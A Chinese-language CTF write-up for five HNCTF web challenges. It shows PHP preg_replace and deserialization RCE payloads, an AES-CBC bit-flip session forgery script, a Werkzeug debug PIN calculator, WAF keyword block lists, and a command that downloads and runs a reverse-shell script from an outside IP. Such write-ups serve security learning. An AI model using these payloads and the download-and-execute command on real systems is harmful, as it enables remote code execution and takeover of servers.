周末打了一下hnctf,稍微写一下wp吧。写了五道web。

Please_RCE_Me

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if($_GET['moran'] === 'flag'){
highlight_file(__FILE__);
if(isset($_POST['task'])&&isset($_POST['flag'])){
$str1 = $_POST['task'];
$str2 = $_POST['flag'];
if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){
die('hacker!');
}else{
preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);
}
}
}else{
echo "moran want a flag.</br>(?moran=flag)";
}

首先看到了preg_replace,那么这里就存在命令执行,我们会发现其禁用了很多函数。但是没有禁scandir和highlight_file,那么我们就可以利用这两个函数来读文件。
而str2的正则是对大小写敏感的。而preg_replace用了i修饰符。那么我们可以使用大小写绕过

1
2
3
4
task=print_r(scandir(chr(47)));&flag=please_give_me_flaG #查看根目录下的文件
--------------------------------------------------------------------------------
Cookie:PHPSESSID=/flag
task=highlight_file(session_id(session_start()));&flag=please_give_me_flaG #读取flag

flipPin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from flask import Flask, request, abort
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request, Response
from base64 import b64encode, b64decode

import json

default_session = '{"admin": 0, "username": "user1"}'
key = get_random_bytes(AES.block_size)


def encrypt(session):
iv = get_random_bytes(AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, iv)
return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size)))


def decrypt(session):
raw = b64decode(session)
cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size])
try:
res = unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode('utf-8')
return res
except Exception as e:
print(e)

app = Flask(__name__)

filename_blacklist = {
'self',
'cgroup',
'mountinfo',
'env',
'flag'
}

@app.route("/")
def index():
session = request.cookies.get('session')
if session is None:
res = Response(
"welcome to the FlipPIN server try request /hint to get the hint")
res.set_cookie('session', encrypt(default_session).decode())
return res
else:
return 'have a fun'

@app.route("/hint")
def hint():
res = Response(open(__file__).read(), mimetype='text/plain')
return res


@app.route("/read")
def file():

session = request.cookies.get('session')
if session is None:
res = Response("you are not logged in")
res.set_cookie('session', encrypt(default_session))
return res
else:
plain_session = decrypt(session)
if plain_session is None:
return 'don\'t hack me'

session_data = json.loads(plain_session)

if session_data['admin'] :
filename = request.args.get('filename')

if any(blacklist_str in filename for blacklist_str in filename_blacklist):
abort(403, description='Access to this file is forbidden.')

try:
with open(filename, 'r') as f:
return f.read()
except FileNotFoundError:
abort(404, description='File not found.')
except Exception as e:
abort(500, description=f'An error occurred: {str(e)}')
else:
return 'You are not an administrator'






if __name__ == "__main__":
app.run(host="0.0.0.0", port=9091, debug=True)

这题有点难绷,给人一种是密码手出的密码题的感觉。
以为没什么密码基础,我直接卡在了第一步,怎么伪造session。后来在水群的时候出题人说该题目思路来自于老外,于是我就在网上查能不能找到类似的session伪造方法,结果就让我查到了(tamuctf)[https://github.com/tamuctf/tamuctf-2024/tree/master/web/flipped]
发现其为ASE CBC加密的翻转攻击。 。。。这不是密码是什么
我直接把wp的脚本改了一下就直接用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import base64
import urllib.parse

# iv
# {"admin": 0, "us
# ername": "guest"
# }

cipher = base64.b64decode("eeAq7MHva/ci36jjUfDoG7QuxPZ1ZNCS0QZrCMAUoMRZAIMDu2YVwO2pVB/d/IVkczV8PNLAVjNI3MghDv/pew==")
print(len(cipher))

array_cipher = bytearray(cipher)
iv = array_cipher[0:16]
print(iv)

decode_plain = '{"admin": 0, "username": "user1"}'

# 原始明文
plain = '{"admin": 1, "us'

newiv = list(iv)

for i in range(0, 16):
newiv[i] = (ord(plain[i].encode('utf-8')) ^ iv[i] ^ ord(decode_plain[i].encode('utf-8')))

newiv = bytes(newiv)

print('newiv:', base64.b64encode(newiv + cipher[16:]))

经过这样处理的session解密处理的admin就是1了。
之后就是读取文件来计算pin值了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import hashlib
from itertools import chain

probably_public_bits = [
'ctfUser' # username 可通过/etc/passwd获取
'flask.app', # modname默认值
'Flask', # 默认值 getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/lib/python3.9/site-packages/flask/app.py' # 路径 可报错得到 getattr(mod, '__file__', None)
]

private_bits = [
'191387107621224', # /sys/class/net/eth0/address mac地址十进制
"d8c226fb-ceb1-4366-ad71-e8e995dc3065fdb2ec0912d863176b2644451101612d45cb5275f4233b89a916779f4f089ce3"

# 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup
]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

读取其他文件时没有遇到什么情况,但是当读取machine-id是遇到了waf。我尝试使用unicode来尝试绕过发现绕不过去。
虽然我们无法读取/proc/self/cgroup但是我们可以使用1来代替self,而/proc/self/mountinfo和/proc/self/cpuset都有/proc/self/cgroup的内容。p
这题我们使用/proc/1/cpuset来代替/proc/self/cgroup,之后就是计算pin进行rce。

ezflask

题目直接将后端语句告诉了我们,但是只要一次执行的机会,但是其flag只有当其执行一次命令后才会生成。即我们要执行两次,一开始我直接像到了弹个shell不就好了。于是我直接尝试弹shell。但是其后台禁了很多导致无法弹shell。
这时候我又想到这道题目有python环境那么我直接远程下载一个可以反弹shell的python脚本在执行不就好了
于是我用kali生成了一个反弹shell的python脚本

1


然后挂在在vps上
传值
1
cmd=__import__("os").popen("wget 111.230.38.159:8000/shell.py -O /tmp/shell.py;chmod 777 /tmp/shell.py;/tmp/shell.py").read()

成功反弹shell
之后再刷新一下就可以读取flag了

ez_tp

这题考的是thinkphp的代审,审计难度其实不算太低,但是其log泄露了,那难度就直线下降了
打开源码发现其版本为3.2.3在网上搜一下发现其存在sql注入漏洞
在全局搜索装起来了可以找到web页面的源码

我们查看h_n函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
 public function h_n(){
function waf() {
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
//rewirte shell which uploaded by others, you can do more
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}
unset($header['Accept']); //fix a bug
$input = array(
"Get" => $get,
"Post" => $post,
"Cookie" => $cookie,
"File" => $files,
"Header" => $header
);
//deal with
$pattern = "insert| |delete|and|or|\/\*|\*|\.\.\/|\.\/|into|load_file|outfile|dumpfile|sub|hex";
$pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
$vpattern = explode("|", $pattern);
$bool = false;
foreach ($input as $k => $v) {
foreach ($vpattern as $value) {
foreach ($v as $kk => $vv) {
if (preg_match("/$value/i", $vv)) {
$bool = true;
break;
}
}
if ($bool) break;
}
if ($bool) break;
}
return $bool;
}

$name = I('GET.name');
$User = M("user");

if (waf()){
$this->index();
}else{
$ret = $User->field('username,age')->where(array('username'=>$name))->select();
echo var_export($ret, true);
}

}
}

以为其文件被定义为
namespace Home\Controller;
use Think\Controller;
所以我们通过/index.php/Home/Index/h_n来访问h_n函数。
查看h_n函数发现主要的漏洞部分是如下的部分
alt text
这时候我在全局搜索了一下网上的payload结果让我发现了,出题人的log没删,直接一件payload了

在写这道题目的wp时我有尝试自己审计一遍,结果我发现我的动调环境没有搞好,我准备有时间搞一搞,看了一下出题人的payload,说实话没搞懂为什么要那么闭合,还是得学习啊。

Decrypt

这题花了几个小时来审计结果竟然,下线了,悲
这题存在源码泄露www.zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
session_start();
ob_start();
include_once "function.php";
include_once "waf.php";
include_once "login.html";
include_once "algorithm.php";
if (isset($_POST['username']) && isset($_POST['passwd'])) {
$username = $_POST['username'];
$passwd = $_POST['passwd'];
$login = new Users($username, $passwd,"True");
setcookie("user", base64_encode(encryptCookie(b(serialize($login)))), time() + 3600, "/", "", false, true);
ob_end_flush();
die('<script>location.href=`./login.php`;</script>');
}

?>

首先在index.php发现了序列化入口其将function.php的Users实例化后进行序列化。那么这题应该考察反序列化漏洞。于是我找了一下发现
login.php和eeeeeend.php都存在反序列入口但是eeeeeeeend.php的反序列入口是这样的unserialize(decryptCookie(base64_decode($_COOKIE['users'])));需要对session进行伪造,无法直接利用那么我就把目光看向了login.php
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
session_start();
include_once "function.php";
include_once "waf.php";
include_once "algorithm.php";
if (!isset($_COOKIE['user'])) {

echo '<script>alert(`Login First!`);location.href=`./index.php`;</script>';
}

unserialize(a(decryptCookie(base64_decode($_COOKIE['user']))));
echo '<h1>Hello CTFer!,Welcome to Ezez_unserialize!!!!!</h1>';
?>

发现其导入了funtion.php而funtion.php正好有类可以利用。
function.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

class FILE {
public $filename;

function __construct($filename) {
$this->filename = $filename;
}

function __destruct() {
$file = file_get_contents($this->filename);
echo $file;
}
}



class Users {
private $username;
private $passwd;
public $status;

function __construct($username, $passwd,$status="True") {
$this->username = $username;
$this->passwd = $passwd;
$this->status = $status;
}

function __destruct() {
unset($this->username);
unset($this->passwd);
}

}


?>

当login反序列化时会触发Users的 destruct而这个方法有unset,这个函数可以利用GC回收机制来触发destruct那么我们就可以触发FILE。而FILE存在file_get_contents函数。
而login在反序列化前先过了一遍waf,这就导致了字符串逃逸。那么我们通过字符串逃逸来构造passwd的值从而导致反序列。我这里直接贴我写的脚本
1
2
3
4
5
6
7
8
from urllib.parse import unquote
import requests
s="where"
payload='";s:13:"%00Users%00passwd";O:4:"FILE":1:{s:8:"filename";s:54:"php://filter/convert.base64-encode/resource=config.php";}s:6:"status";N;}'
I=len(unquote(payload))-1
for i in range(I):
s+="where"
print(s+payload)

我们只要在passwd里输入payload就会导致字符串逃逸,从而触发FIlE来读取文件。
我原本准备直接读取flag或者直接通过proc读取环境变量的,结果发现好像权限不够无法读取。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
include "config.php";
function encryptCookie($value) {
global $algorithm,$secret_key;
$key = $secret_key;
$cipher = $algorithm;
$iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length($cipher));
$encryptedValue = openssl_encrypt($value, $cipher, $key, 0, $iv) . '::' . bin2hex($iv);
return $encryptedValue;
}

function decryptCookie($cookie) {
global $algorithm,$secret_key;
$key = $secret_key;
list($encrypted_data, $iv) = explode('::', $cookie);
$cipher = $algorithm;
$iv = hex2bin($iv);
$decryptedValue = openssl_decrypt($encrypted_data, $cipher, $key, 0, $iv);
return $decryptedValue;
}

我发现其加密函数的密钥来自config.php那么我只要读取config.php不就可以得到密钥来伪造session从而来触发eeeeeeend.php的命令执行了吗。
于是我读取了conifg.php
1
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:13:"%00Users%00passwd";O:4:"FILE":1:{s:8:"filename";s:54:"php://filter/convert.base64-encode/resource=config.php";}s:6:"status";N;}

config.php
1
2
3
4
5
6
<?php

$secret_key = "Harder_says_nice_to_meet_to";
$algorithm = "AES-128-CTR";

?>

这样就可以对构造session进行命令执行了
exp如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

<?php
highlight_file(__file__);
include_once "algorithm.php";
class admin{
public $admin;
public $root;
public function __destruct()
{
echo $this->root;
system("whoami");
}
}
class Date{
public $cmd;
public function __toString()
{
system($this->cmd);
}
}
$a=new admin();
$a->root=new Date();
$a->root->cmd="env";
$b=serialize($a);
echo "<br>";
#echo (encryptCookie(serialize($a)));
echo base64_encode(encryptCookie($b));

?>


从环境变量里得到flag

ManCraft - 娱乐题

直接进游戏打牢大即可